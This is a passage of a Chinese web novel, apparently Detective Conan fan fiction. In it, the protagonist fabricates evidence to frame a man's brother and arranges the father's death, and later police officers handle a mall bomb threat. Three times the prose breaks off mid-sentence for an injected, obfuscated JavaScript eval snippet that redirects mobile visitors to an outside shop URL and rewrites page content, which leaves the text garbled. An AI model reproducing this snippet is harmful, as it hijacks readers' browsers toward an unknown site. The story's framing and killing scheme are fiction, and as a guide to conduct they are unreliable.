而且话说回来,他自己现在这副打扮,在别人眼里大概也是“一看就不是好人”的类型。苏格兰那种长相,说不定反而是优势——谁会警惕一个笑起来像邻居家大哥的人呢? 这么一想,违和感倒是减轻了些。 但另一个念头又冒出来:苏格兰说不定是那种表面温和,实际下手比谁都狠的类型。 夜神信想了想,觉得也不是没可能。毕竟能在组织里拿到代号的,肯定不简单。 不过管他呢。反正只是考官,一周后就分道扬镳了,没必要琢磨那么多。 夜神信摇摇头,开始换衣服。 外套穿到一半,他突然又顿住了。 等一下。 他刚才是不是盯着人家看了好几秒? ……算了,无所谓。反正大家都刚起床,脑子不清醒也正常。 他这么想着,继续穿衣服。但脑子里还是忍不住冒出刚才那个画面——苏格兰拿着牙刷,头发乱糟糟的,脸上还带着胡茬,冲他有点无奈地笑了笑。 夜神信系扣子的手顿了顿。 这人…… 是真的看着不像组织成员啊。 他再次感叹。 7. 阴谋家的计划 另一个卫生间的诸伏景光这辈子都不可能想到,自己只是拉扯了一下面部肌肉,做出一个微笑的表情,就能被判定为“不像组织成员”。 他确实也不可能想到这个。 如果只是因为笑了一下就能被判定为不像组织成员,那贝尔摩得可以当场辞职了。 诸伏景光站在洗手台前,对着镜子,牙膏挤到一半,动作顿了顿。 他刚才看见夜神信的那一刻,脑子里其实也转了好几个念头。 第一反应是,这人起得挺早,表情看起来有点懵,像是还没睡醒。 第二反应是,那个反应是装的还是真的? 他把牙刷塞进嘴里,开始机械地刷,眼睛盯着镜子里的自己,脑子里却在复盘刚才那两秒钟的对视。 那个新人站在走廊里的时候,整个人透着一股刚起床的松散。 那种状态很难演,除非这人演技已经炉火纯青到连起床气都能模拟。 但问题就在这里。 如果那是真的松散,说明他压根没把“和组织代号成员共处一室”这事放在心上。要么是心太大,要么是觉得无所谓。 如果那是演的——那就有意思了。一个新人,刚被扔进考核期,住在组织安排的安全屋里,隔壁就是考官,居然还有心思演戏?为什么演这种状态?想达到什么效果? 让人觉得他无害?还是让人觉得他普通? 诸伏景光吐掉牙膏沫,漱了口水,把牙刷放回杯子里。 他抬起头,又看了一眼镜子里的自己。 镜子里的那张脸——黑发,蓝眼睛,略显温和的长相。 他在组织里待了这么久,早就习惯了这张脸带来的便利。有时候越不像坏人,反而越方便做事。 去便利店买东西不会被多看一眼,走在街上不会被警惕,甚至连盘问目标的时候,对方都更容易放松警惕。 但也不全是便利。总有那么些不长眼的人,因为这张温和的脸就敢来试探他的底线。 第一次遇到这种事,是在他刚获得代号不久。一个外围成员在任务交接时故意刁难,语气轻蔑,态度恶劣,就差在眼睛里用日语写上“就你这种小白脸也能拿代号”。 大概是觉得苏格兰获得代号的水分很高,本人没什么了不起的。 诸伏景光当时只是笑了笑,没说什么。 三天后,那个外围成员在一次单独行动中意外暴露,被警方围堵,最后死在了自己人的枪口之下。 在组织里,光有实力不够,还得让人知道你有实力。 但也不能太过张扬,否则枪打出头鸟。 所以他的应对方式很简单,平时保持温和,不主动挑事,但一旦有人踩过界,他会让对方在某个恰到好处的时机,亲身体会到代号成员的锋利。 组织里的人都是饿狼,他们嗅得到恐惧,也看得懂教训。 至于那些蠢到看不懂的,通常活不长。 诸伏景光转身推开卫生间的门,走廊里已经空无一人。 新人的房门紧闭着。 他收回视线,走向自己的房间。 而此刻,那扇紧闭的房门内,夜神信正仰面躺在床上,望着天花板默默倒数。 三、二、一。 意识抽离的熟悉感袭来,他闭上眼,再睁开时,眼前已是另一片天花板。 客厅沙发上的被子滑落了一半,晨光透过窗帘缝隙漏进来,在地板上切出一道细长的亮痕。子安观坐起身,肩胛骨传来轻微的酸痛——昨晚在沙发上睡的姿势不太对。 他下意识看向卧室方向,门开着,床上空无一人。 “石川阿姨?” 没人应。 他站起来,目光扫过客厅,最终落在茶几上,那里压着一张对折的信纸。 子安观走过去,拿起信纸展开。字迹有些潦草,看得出是老人家用不惯圆珠笔写的: 小观,宗他凌晨两点多开车过来了。他说怎么叫你都叫不醒,阿姨怕你睡不够,就让他别叫你了。 宗他说要带我换个地方,而且时间比较赶,我们先走了,等你醒了看到这封信的时候,我们已经在路上了。 阿姨的手机号你知道,有什么事随时打给我,有空一起吃个饭。” 落款是石川,后面画了个小小的笑脸。 子安观盯着那个笑脸看了几秒,然后放下信纸。 换个地方挺正常的。 应该是怕那些人还有同伙。 毕竟那两个人背后还有“上面的人”,而且那些人知道石川阿姨的住址,知道她儿子是法官,知道怎么用她来威胁。 继续住在这里,确实不安全。 他看了眼手机,七点十五分。 凌晨两点多走的,现在应该已经到了。 那就不用担心,可以先去处理阴谋家的事了。 子安观放下纸条,重新躺回沙发上,闭上眼。意识抽离的感觉再次袭来,像是沉入温水,又像是从高空坠落——等他再睁开眼时,映入眼帘的是另一片天花板。 夜神信的房间。 他坐起身,活动了一下脖颈。隔壁已经没有声音了,苏格兰不知道是走了还是回房间了。 夜神信低头看了眼自己被睡出褶皱的衣服。 五分钟后,他已经换好衣服走出公寓楼。清晨的空气带着淡淡的潮意,街角的便利店刚刚亮起灯。他拦了辆出租车,报出目的地: “东都监狱附属看护所。” 司机从后视镜里瞥了他一眼,没多问,踩下油门。 车子驶入早高峰前的街道,街灯一盏盏熄灭,天边泛起鱼肚白。夜神信靠着座椅,闭上眼,在脑子里过了一遍今天的计划。 山田健一,三十二岁,因谋杀未遂被判三年,目前在东都监狱附属看护所服刑——说是看护所,其实是关押那些有精神疾病或需要特殊监管的犯人。他的父亲山田茂,是某大型企业的专务董事,在政商两界都有深厚的人脉。 但山田茂不好拉拢,老头子油盐不进,背景干净,没有任何把柄可抓。 常规手段行不通,那就只能换个思路。 换一个人坐到那个位置上。 山田茂有两个儿子。 大儿子山田健一,性格冲动,十年前因故意伤害罪留过案底,这次又因谋杀未遂进来——他想杀的人,正是自己的父亲。动机是争夺家产,证据确凿,连他自己都认了罪。 小儿子山田和也,二十四岁,在公司里当个闲职,性格懦弱,从不惹事。昨晚,他已经和女友登上了飞往泰国的航班,用的是假护照和新身份。 当然,已经飞往异国他乡的人是不可能跑回来说自己是被冤枉的。 没错,他在昨晚去公司的时候伪造了山田和也陷害兄长的证据——毛发、转账凭证、属于山田和也的笔迹——所有线索都指向一个真相:真正想杀父亲的其实是小儿子,因为山田茂不同意他和女友结婚。于是他精心策划了这场谋杀,然后嫁祸给有前科的大哥。没想到父亲没死,事情也即将败露,他干脆卷走一笔钱,和女友远走高飞。 这个版本的故事,马上就会出现在某个记者的邮箱里。 而此刻,坐在看护所会见室里的山田健一,对此还一无所知。 出租车停在一栋灰扑扑的建筑前。夜神信付了车费,走进大门,经过两道安检,被带进一间狭小的会见室。 这是一个很特殊的看护所,没有监控,没有防止犯人暴起伤人的硬制玻璃,连狱警都只是在门口等着。 访客和囚犯可以面对面坐着,可以压低声音说话,可以把什么东西坦坦荡荡地拿出来,而不必担心被摄像头拍到。 这样的会见室,只有两种可能。 要么是这个看护所的经费实在紧张,连基本的防护设施都装不起。 要么,是某些人特意安排的。 资料里提到过,这家看护所关押的犯人,很多都有特殊背景——政客的亲戚,财阀的子弟,某些不能公开审判的人物。 而山田建一,也算得上是财阀子弟了。 房间里只有一张桌子,两把椅子,墙上的窗户装着铁栅栏。光从栅栏的缝隙里漏进来,在地板上投下一道道条纹状的阴影。他在其中一把椅子上坐下,等了大约五分钟,门开了。 山田健一被带了进来。 他穿着灰蓝色的囚服,头发剃得很短,脸颊比入狱时消瘦了些,眼神里带着那种在监狱里待久了的人特有的麻木和警惕。看见夜神信时,他愣了一下,显然没认出这是谁。 “你是……?” 夜神信抬手示意他在对面坐下。等狱警退出去,门关好,他才开口: “我叫夜神信。你可以叫我夜神先生。” 山田健一皱着眉坐下,目光在夜神信脸上来回打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而夜神信很满意他此刻的不可置信,继续说:“现在证据在这里。如果你愿意,这些东西可以送到该送的地方。你父亲会知道真相,媒体会知道真相,法院也会重新审理你的案子。你有可能被放出去。” “……” 山田健一沉默了。 这种沉默持续了很久,久到窗外有鸟叫了一声,又飞走了。 山田健一低头看着自己的手,它此刻正放在膝盖上,不受控制地微微颤抖。他把手握成拳,用力到指节发白,可那股颤抖还是止不住,从指缝间漏出来,沿着手臂一路传到肩膀。 他不知道自己是在害怕,还是在期待。 “这些东西,”山田健一终于开口了,指着桌上的文件,“是真的吗?还是你编的?” “真的假的,重要吗?”夜神信的声音依然平静,“重要的是,你弟弟确实跑了,有人确实会被这个消息震惊,媒体确实会感兴趣。重要的是,如果你愿意,这些东西可以送到该送的地方。警察会知道真相——或者说,会知道这个版本的真相。法院也会重新审理你的案子。你有可能被放出去。” “做好准备吧。” 山田健一抬起头,眼神复杂地看着对面的人。 “出去之后,你会成为你父亲的合法继承人。”夜神信的声音依然平静,但那双眼睛里已经没有了刚才那点玩味,只剩下一种深不见底的冷漠,“你弟弟跑了,你父亲也会死。你会接手他的事业,他的人脉,他的位置。” “什么叫他也会死?” “字面意思。” 山田健一的脸色变了。他张了张嘴,想说什么,却发现自己说不出话来。 夜神信看着他,没有解释,也没有安慰。 “你……你想要什么?”山田健一终于问出来,声音沙哑。 夜神信没有回答,只是静静地看着他。 那目光让山田健一脊背发凉,就像在看一件工具。 “你不需要知道我想要什么。”夜神信最终开口,“你只需要知道,我是唯一能让你离开这里的人。也是唯一能让你坐稳那个位置的人。” 说完,他伸手拿回文件,转身走向门口,敲了敲门示意狱警。 在他即将迈出门的那一刻,身后传来山田健一有些沙哑的声音: “我答应。” 夜神信没有回头,只是微微侧过脸,嘴角勾起一个几乎看不见的弧度。门开了,他走出去,脚步声在走廊里渐渐远去。 山田健一呆呆地坐在原地。 他刚刚和魔鬼做了一笔交易。 但他并不后悔。 8. 考核任务完成 从看护所出来,夜神信站在路边,深吸了一口早晨的空气。太阳已经完全升起来了,阳光照在他脸上,有些刺眼。 在确定山田建一比起他父亲是个更好掌控的人后,夜神信几乎没有任何犹豫就给山田茂发了通缉。 发完通缉后,他看了眼手机,七点五十分。 还有时间。 他随便拐进一个没有监控的小巷,将阴谋家收回,切换为治安官的身体。 在治安官房子里的沙发上醒来,他拿起手机随手看了眼时间,觉得可以去派出所了。 他不可能先把阴谋家先放回安全屋的。如果组织里有什么事——特指苏格兰,想要找他的话,却发现他当场化身睡美人怎么叫都叫不醒,那场面也太……他不敢去想那个画面。 他本来想随便收拾一下就出门的,却意外发现面前的茶几上似乎被人动过。 之前应该是被山田阿姨的信吸引了注意力,所以才连果篮的位置被改变了都没有发现。 这是超市里常见的水果礼篮,透明塑料纸包着,里面是苹果橙子和猕猴桃,上面还系着一个红色的蝴蝶结。 子安观皱着眉伸手把果篮抬起来。 下面压着一张支票和一封信。 信的内容很简单,大概指很感谢治安官救了他的母亲,有一千万日元作为报酬,另外以后别联系了,就此分道扬镳吧的意思。 他把信从头到尾又看了一遍,每个字都认识,连在一起却让他有一种荒诞的感觉。 这种半劝半威胁的语气是怎么回事啊?! 尤其是这句“我认为我们之间的接触到此为止比较合适”! 说白了就是别再来往了,你最好识相点? 子安观简直快被气死了。 这是在羞辱谁呢?! 他昨晚破窗而入的时候,可没想过要什么报酬。 他翻阳台、踹玻璃门、和两个持刀歹徒搏斗的时候,也没想过以后会有什么回报。他就是看见石川阿姨有危险,然后就去救了。 结果石川宗给他脸上狠狠来了一巴掌! 亏他以前还觉得这人挺温文尔雅彬彬有礼的!真是瞎了眼了! …… 因为治安官这个身份没有车的原因,他下楼抬手拦了辆出租车,去了警察局。 车子启动,窗外的街景开始后退。他闭上眼,让意识稍微放松了一点。 山田健一那边算是推进了一步,等那些证据发酵几天,等山田茂意外死亡的消息传开,那个曾经绝望的囚犯就会变成命运的宠儿。 而他会变成山田健一唯一可以依靠的人。 也是恐惧的人。 害怕他会揭露真相,害怕他会收回这一切,害怕他会像给这些东西一样,随时可以把它们收回去。 这种恐惧比任何感情都可靠,所以组织给他的任务毫无疑问地完成了。 车子在派出所门口停下,夜神信付了钱,下车,走进去。 接待他的是一位年轻的女警,二十出头,马尾扎得很高,笑起来露出两颗小虎牙。她看见他就站起身:“您是子安观先生吧?请这边走。” 子安观点点头,跟着她走进一间办公室。 笔录做了大概半个小时,无非是复述一遍昨晚的事:几点发现异常,怎么报的警,怎么从阳台过去,怎么制服歹徒。女警一边记一边时不时抬头看他一眼,眼神里带着点好奇。 “您学过格斗?” “学过一点防身术。” “效果挺好的。”女警笑了笑,“两个成年男性,您一个人就制服了。” “情急之下,没想太多。”子安观的语气平淡。 女警点点头,没再追问。最后让他确认笔录内容,签字,盖章,然后说:“可以了。后续如果有需要,我们会再联系您。” 子安观起身道谢,走出那间办公室。 有穿制服的警察匆匆走过,腋下夹着文件夹,脚步急促。有来办事的市民在窗口排队,有人低头看手机,有人不耐烦地看表,还有个老大爷正在跟接待员吵架,声音很大,说自己的自行车被偷了三个月还没找回来。 子安观穿过人群,往门口走。 然后他良好的听力令他听见了身后的议论声。 “……昨晚那个案子,查清楚了吗?” “没呢,法医那边还在做检测。死者身上没外伤,不像是他杀。” “那可能是心脏病?” “也有可能是什么过敏反应。出租车司机,开车开着开着就死了,车停路边,人趴在方向盘上。还是路人发现的。” “人家不是出租车司机……啧,真够倒霉的。年龄多大?” “五十多岁吧。家属已经通知了,哭得不行。” “法医那边什么时候出结果?” “估计下午。他们说要做血液检测,看看是不是有什么潜在疾病,或者吃了什么东西导致过敏。也有很小的可能是吸了什么——不过整天跑来跑去的人一般不碰那玩意儿吧?” “难说。现在什么人都有。” 子安观的脚步顿了一下。 五十多岁。开车途中死亡。 提取到关键词的子安观站在原地,没有过多思考,慢慢转过身,装作不经意地往那边看了一眼。 那里有几个警察围着一张桌子站着,手里捧着茶杯或文件夹,正在闲聊。说话的是一高一矮两个人,高个的那个手里还拿着一个文件夹,正翻着什么。 “不过话说回来,要真是吸了什么,那就有意思了。”高个警察继续说,带着一种年轻人特有的、办案时忍不住多想的劲儿,“大半夜的,一个人开着车,突然就死了——现场有没有针管?有没有残留物?得等法医那边详细报告。” 矮个警察笑着摇头:“你这脑子一天到晚就想这些。万一人就是心脏病或者突然猝死呢?” “所以我说等报告啊。没报告不乱猜,有报告再说。”高个警察合上文件夹,忽然想起什么,“对了,现场勘查那边有什么发现吗?” 矮个警察把手里的茶杯放下,压低了声音,但子安观站的这个角度刚好能看见嘴型。 “还真有。技术科的人说,车里有第二个人的脚印。” “脚印?”高个警察也来了兴趣,“确定不是死者自己的?” 毕竟脚印很常见的东西,任何鞋子只要踩在地上,就一定会沾上灰,踩到脚垫或地板上时,这些尘土和颗粒就会脱落,形成鞋印。 这通常是犯人在犯案时很重要也很容易忽视的东西。 “确定。鞋码不一样,花纹也不一样。死者的鞋是那种常见的运动鞋,41码。另一个脚印是皮鞋,40码左右。” “那肯定是有人上过他的车。” “对,而且是在他死前不久。”矮个警察的表情变得微妙起来,“问题是——那个人不见了。” 高个警察愣了一下:“什么意思?” “意思就是,车上只有死者和那个人的脚印,没有那个人的任何其他痕迹。没有指纹,没有毛发,没有衣服纤维,什么都没有。”矮个警察顿了顿,“就好像那个人凭空消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305099|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” “会不会是死者载过的最后一个乘客?”高个警察提出假设,“刚好在死者发病前下车了,所以没来得及留下其他痕迹。” “有可能。”矮个警察点点头,但随即又摇头,“可问题是,死者不是干出租车的啊?” “而且那个位置很偏。那辆车最后被发现的地方,是在城郊一条荒僻的路上,周围没什么住宅,也没什么商业设施。大半夜的,什么人会在那种地方下车?” “那就奇怪了。” “而且更奇怪的是,”矮个警察压低了声音,凑近了一些,“那个人下车之后,完全没有报警。如果他是最后一个见到死者的人,正常人发现司机突然死了,应该会报警吧?只能说明那个人有问题,所以不敢报警。” “也许是死者先把他放下来,然后开到那个地方才出事的?” “那个位置偏僻,以死者生前的行为应该不会去那里——只能是死者载着人过去,然后那个人下车,死者独自留在那里,然后死亡。” 高个警察皱了皱眉:“所以那个人把死者带到那个地方,然后自己走了,死者死在那儿——怎么看都觉得有问题。” “对啊。”矮个警察叹了口气,“可惜除了脚印,什么线索都没有。技术科的人把车里翻了个底朝天,连根头发都没找到。那个人要么是特别小心,要么就是运气特别好。” “指纹呢?” 子安观在心里默默回答没有。 毕竟那时候的他戴着手套。 至于没有找到衣服纤维和毛发什么的……阴谋家可没有掉毛的习惯。 “没有。”矮个警察最终说道。 “所以现在的情况是,”高个警察总结道,“有一个神秘的乘客,在凌晨把死者带到城郊,然后消失得无影无踪,连根毛都没留下。死者死在自己车里,身上没外伤,疑似疾病或猝死。那个乘客至今没出现,也没报警。” “差不多就是这样。”矮个警察点点头,“上头说先等法医报告出来再说。如果真是自然死亡,这个乘客最多就是‘最后见到死者的人’,不算嫌疑人。如果不是……” 他没说完,但那语气里的意思很明显。 高个警察沉默了几秒,忽然开口:“你觉得会是自然死亡吗?” 矮个警察看了他一眼,意味深长道。 “我干了这么多年,见过不少自然死亡的案子,心脏病发作的,脑溢血的,过敏休克的——那些现场都有一个共同点。” “什么?” “乱。” 矮个警察指了指手里的文件:“人突然发病的时候,会挣扎,会抽搐,会下意识地想抓住什么,方向盘会歪,身体会倒向一边,有时候还会把旁边的杂物碰掉。可这辆车……技术科的人说,死者趴在方向盘上,姿势很自然,周围没有任何挣扎的痕迹。” 高个警察的表情变了。 “就好像……”矮个警察顿了顿,“就好像他是在一瞬间就死了。连反应的时间都没有。” 因为两个人都没说话,导致他们产生了空气突然安静的错觉,突然就有些尴尬。 “行了行了,”矮个警察摆了摆手,似乎想冲淡这种诡异的气氛,“别在这儿瞎猜了,等法医报告出来再说吧。说不定就是个巧合呢。” “希望吧。”高个警察把茶杯端起来,喝了一口,“不过话说回来,要是真查不出什么,这个案子估计就归档了。一个出租车司机,没仇家,没纠纷,突然死了——这种事每年都有几起。” “……人家不是出租车司机!” 9. 突发意外x2 从派出所出来,阳光比刚才更烈了。 子安观站在门口眯了眯眼,深吸一口气,把刚才那段关于“不存在的嫌疑人”的对话暂时压进脑海深处。 想这个没有意义,因为通缉而死的人是查不出死亡原因,这件事是很早以前就验证过的。 完全没必要为阴谋家担心。 真的没必要。 他这样告诉自己。 看了眼手机——九点四十七分。还好,赶得上。 昨天晚上事发突然,他给商场经理发了条消息,说家里有急事,请半天假。经理回了个“行”,连问都没问。 这种兼职本来就是这样,来去自由,没人管你。 就是辞职的时候要工资有点麻烦,那些人事总要用各种理由扣一点,像某种不成文的规矩。 他抬手拦了辆出租车,报了商场的地址。 十五分钟后,车子在商场后门的员工通道停下。子安观下车,刷卡进门,换衣间里空无一人。他打开自己的储物柜,拿出那件藏青色的员工制服——马甲、白衬衫、黑色长裤,胸口别着名牌。 对,他在商场的工作是安保员。 不是保安,是安保员。经理面试的时候特意强调过这个称呼的区别,说是显得专业。实际上干的活儿都一样:巡逻,看监控,处理顾客纠纷,偶尔抓个小偷。 子安观换上制服,对着镜子整理了一下衣领。镜子里的人看起来很正常——黑发,蓝眼睛,表情平淡,和任何一个上班族没什么两样。 确认外貌没什么异样后,他转身走出更衣室。 商场里已经开始热闹起来了。 十点整,大门刚开,已经有顾客陆续涌入。一楼化妆品区的导购们在柜台后面忙碌,二楼女装区传来音乐声,三楼的儿童游乐区有孩子尖叫着跑来跑去。 子安观拿着对讲机,开始每天的例行巡逻。 他穿过一楼中庭,绕过化妆品柜台,从电梯旁边的通道走向东区。路上有熟悉的导购冲他点头,他也点头回应。那个卖手表的姑娘还笑着问他:“子安君,刚才去哪儿了?怎么没看见你?” “有点事。”他简短地回答。 “这样啊。”姑娘没多问,继续招呼客人去了。 子安观继续往前走。 东区这边人少一些,主要是几家电器店和家居用品店。他慢悠悠地走着,目光扫过每一个角落——这是他的工作,也是他的习惯。 治安官养成的习惯。 不管走到哪儿,先看监控在哪儿,死角在哪儿,逃跑路线在哪儿。 商场这种地方,摄像头很多,但死角也多。他一边走一边在心里默默记着:东区电梯口那个摄像头有点歪,照不到左边通道;三楼儿童区旁边的安全通道门没关严;地下停车场B区有两个灯坏了,黑漆漆的…… 子安观走到东区尽头,转身往回走。 对讲机里传来同事的声音:“子安,一楼东门那边有个老太太找不到路了,你过去看一下。” “收到。” 他加快脚步,往东门方向走去。 …… 与此同时,商场三楼的餐饮区。 萩原研二端着杯奶茶,靠在栏杆上往下看。 “哇,今天人好多啊。”他咬着吸管,语气懒洋洋的,“早知道周末就不出来凑热闹了。” “是你非要来的。”旁边的松田阵平翻了个白眼,手里还捏着那家拉面店的传单,“说什么新开的拉面店必须尝尝,结果排队排了半小时,就这?” “味道还行吧。”萩原研二笑了笑,回想了一下刚才那碗面的味道,“就是量有点少。” “你那是有点少吗?你那是根本没吃饱。”松田阵平毫不留情地吐槽道,目光在周围扫了一圈,“等会儿还得再找家店。那边好像有家烤肉——” “你们两个。”伊达航的声音突然从旁边传来。 萩原研二吓了一跳,转过头看他。伊达航站在几步开外,手里拎着个印着药店logo的袋子,脸上的表情是那种“果然又让我碰见你们了”的无奈。 “班长?”萩原眨眨眼,“你今天不是休息吗?怎么跑这边来了?” “出来买点东西。”伊达航扬了扬手里的袋子,走近几步,“我妈让我给她买点保健品,说这边有家店打折。” “孝顺啊。”萩原竖起大拇指。 松田阵平嗤笑一声:“你少来,你自己上周不也给你姐买了条围巾?” “哎?那不一样。”萩原故意拖长声音,一脸无辜,“对姐姐怎么能用孝顺这个词——那是关爱,懂吗?关爱。” “就你会说。”松田阵平懒得理他,目光转向伊达航,“班长,等会儿一起吃饭?松田阵平视线在周围扫了一圈,“那边好像有家——” 他的话还没说完,就被一阵刺耳的广播声打断了。 “滋——滋滋——” 商场的广播系统突然发出一阵刺耳的杂音,像有什么东西干扰了信号。然后是一个男人的声音,沙哑,低沉,带着某种让人不舒服的恶意: “各位顾客,中午好。” 萩原研二握着奶茶的手顿住了。 那个声音继续说:“现在我要宣布一件事——这家商场里,我放了五个炸弹。” 周围的顾客们开始窃窃私语。有人停下脚步,有人四处张望,有人以为是商场搞的什么恶作剧促销,脸上还带着茫然的神情。 “炸弹会在三小时后爆炸。当然,如果你们现在开始跑,也许能跑出去几个。”那个声音笑了一声,似乎很善解人意的样子,但接下来的话又立刻直转急下,“不过要是有人敢跑,我立刻就会启动炸弹。” 萩原研二的脸色变了。 那一瞬间,他的大脑飞速运转。 职业本能让他立刻开始分析:声音来源应该是广播室,炸弹位置未知,应该没有同伙,数量不知道是不是真的。 松田阵平的神情也瞬间变得锐利。他放下手里的东西,目光在四周扫过,像是在寻找什么。 而伊达航已经掏出手机,边往下走边迅速拨号。 “喂,警视厅吗?这里是……” 广播还在继续,那个声音像是享受这种掌控感,语速不紧不慢:“所以啊,怨恨几分钟前没有立刻走出这里的自己吧。” “滋——”广播断了。 商场里安静了一秒。 然后有人尖叫起来。 “啊——!” “快跑!” 人群开始骚动,像被搅动的蚁群,瞬间炸开。有人往楼梯跑,有人往电梯跑,有人站在原地不知所措。孩子的哭声,女人的尖叫,男人的吼声,混成一片刺耳的噪音。购物袋掉在地上,手机被踩碎,一个女人的高跟鞋掉了,她赤着一只脚踉跄着往前跑。 萩原研二立刻反应过来。 不能让他们走——炸弹会爆炸的! 在广播里那句“要是有人敢跑,我立刻就会启动炸弹”落地的瞬间,他就意识到最糟糕的情况发生了。人群会恐慌,会下意识地想要离开,而逃走的行为会让那个疯子按下遥控器。 没有时间犹豫。 “所有人,站在原地别动!” 他的声音压过了人群的尖叫,带着某种不容置疑的力量,同时,他右手从口袋里掏出警察证,高高举起。 “我是警察!听我说——现在跑出去只会让炸弹提前爆炸!所有人冷静下来,待在原地!” 人群的骚动停滞了一秒。 有人停下了脚步,有人还在犹豫,有人哭着喊不想死。但更多的人看见了那枚警徽,看见了那个举着证件的年轻人——他的声音很稳,眼神很稳,整个人都散发着一种令人安心的专业气息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305100|198683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐慌和冷静都是可以传染的。 “对!警察!”另一个声音响起。松田阵平已经跑到了二楼栏杆边,半个身子探出来,手里也举着证件,“都别动!离开一步就可能害死所有人!” 他的语气比萩原更冲,但那种一脸凶相的气势反而让人更信服。 “听他们的!”第三个人的声音从人群最下方传来。 作为班长,伊达航早已比所有人都更早到达了一楼出口。他高举着证件,从另一个方向堵住了往出口跑的人群,背对着玻璃门,像一堵墙一样挡在那里。“警察已经通知了!拆弹专家马上就到!现在谁都不许跑!” 人群终于彻底安静下来。 有人瘫坐在地上,抱着头瑟瑟发抖。有人抱着孩子,把孩子按在自己肩膀上,轻声哄着,有人捂着脸无声地哭,眼泪从指缝里渗出来,但没有人再跑了。 萩原研二松了口气。他迅速扫了一眼周围——大部分人都停下了,只有少数几个人还站在原地发抖,但至少没有引发最坏的结果。 现在,真正的麻烦才刚刚开始。 他的目光扫过四周——天花板,墙壁,消防栓,通风口。他开始迅速观察这个楼层的每一个角落,脑子里飞快地过着拆弹训练时学过的所有知识。 炸弹可能放在哪里?隐蔽的地方,不容易被发现的地方,但又要有足够的破坏力—— 松田阵平已经从二楼下来,重新走到他身边。两个人对视一眼,什么都没说,但彼此都明白对方在想什么。 “能找到吗?”松田阵平压低声音问。 “试试。”萩原的声音很稳,但眼神里多了一丝凝重。 三小时。他们最多只有三个小时。不,也许更短——如果那个疯子改变主意,如果有什么意外触发—— 伊达航刚挂断电话,正在一楼维持秩序。他一边安抚几个情绪失控的顾客,一边朝楼上喊:“我已经通知警视厅了,他们马上到。你们——” 他的话还没说完,余光忽然扫到一个人影。 一楼中庭,一个穿着藏青色员工制服的男人正逆着人流往楼上跑。 伊达航的注意力瞬间被吸引。四楼的人基本上已经跑下来了,毕竟要是有炸弹的话,高处会很危险,容易坍塌。 所以有人往上面跑反而很奇怪。 而且那人的动作很快,很稳,不像是在逃命,更像是有明确的目的地。 在伊达航还没有看清楚他的脸的时候,那个藏青色的身影就已经消失在楼道里了。 伊达航皱起眉。 原本打算让伊达航独自维持秩序、他们两个上去拆弹的松田和萩原,发现伊达航死死地盯着一个方向,也下意识地顺着他的目光看过去。 刚巧看见了最后一秒消失的藏青色背影。 “那是谁?”松田阵平皱起眉,语气里带着警惕。 这种危机时刻,工作人员不好好维持秩序、安抚顾客,反而往没有多少人的楼上跑干什么? “我……”伊达航顿了顿,目光还盯着那个方向,“没看清。” 他没看清那个人的脸,只看见了一个背影。 萩原研二听闻此言挑了挑眉。 他的目光落在那个人消失的方向,眼神里闪过一丝思索。 藏青色的制服……应该是商场的工作人员。这个商场一共有四层,现在四层的人正在往下跑,三层及以下的人被控制在原地,四层现在暂时空无一人。 如果是工作人员的话……员工通道、监控室、设备间,往上跑可能是想去确认什么。 或者,想去关掉广播系统?但这样会激怒犯人的吧? 萩原研二收回目光,如果可以,他还是想要联系一下商场的其他工作人员。如果用工作人员的对讲机的话,说不定可以联系上去楼上的那个人。 但现在最重要的是炸弹。 10. 解决炸弹进行中 松田阵平和萩原研二对视一眼,没有多说,直接分头行动。 “先从三楼开始。”萩原压低声音,“广播里说五个炸弹,这种规模的商场,人最多的楼层肯定是重点,等会我去四楼的娱乐区看看。” “地下停车场我负责。”松田已经转身往楼梯口走,“二楼查完往下。” “小心。” “你也是。” 两道身影消失在不同的方向。 …… 萩原研二深吸一口气,开始仔细检查三楼的每一个角落。 餐饮区的结构很复杂,开放式的座位区,几家店面有独立的隔间,公共区域有绿植盆栽,还有消防栓、垃圾桶、空调出风口。任何地方都有可能。 时间一分一秒地流逝,等萩原研二检查到餐饮区中央的公共座位区时,他终于发现了异常。 那里有一排固定的卡座,背靠背排列,每张卡座之间用半人高的隔板隔开。在第三张和第四张卡座之间的隔板下方,他看见了一个不该出现在这里的东西。 一个黑色的帆布袋,塞在隔板和墙壁之间的缝隙里,被一盆绿植挡着。位置选得很刁钻,如果不是蹲下来从特定角度,根本看不见。 萩原研二走过去,蹲下,轻轻拨开绿植的叶子。 帆布袋的拉链没有完全拉上,露出里面的东西。 炸弹。 尽管已经发现了炸弹,但萩原研二还是先仔细观察了一下周围的环境才开始检查炸弹。 毕竟这个位置很巧妙,正好在监控死角,距离最近的安全出口不到十米,但又不容易被普通顾客注意到。放置炸弹的人对商场很熟悉,知道哪里最隐蔽,哪里最容易逃跑。 这发现让萩原心里隐隐有些不安——要么是内部员工,要么是踩过很多次点。 萩原研二从口袋里掏出一把小刀,轻轻挑开帆布袋的拉链。 炸弹的全貌出现在眼前。 一个自制□□,结构不算复杂,定时器上显示着剩余时间。 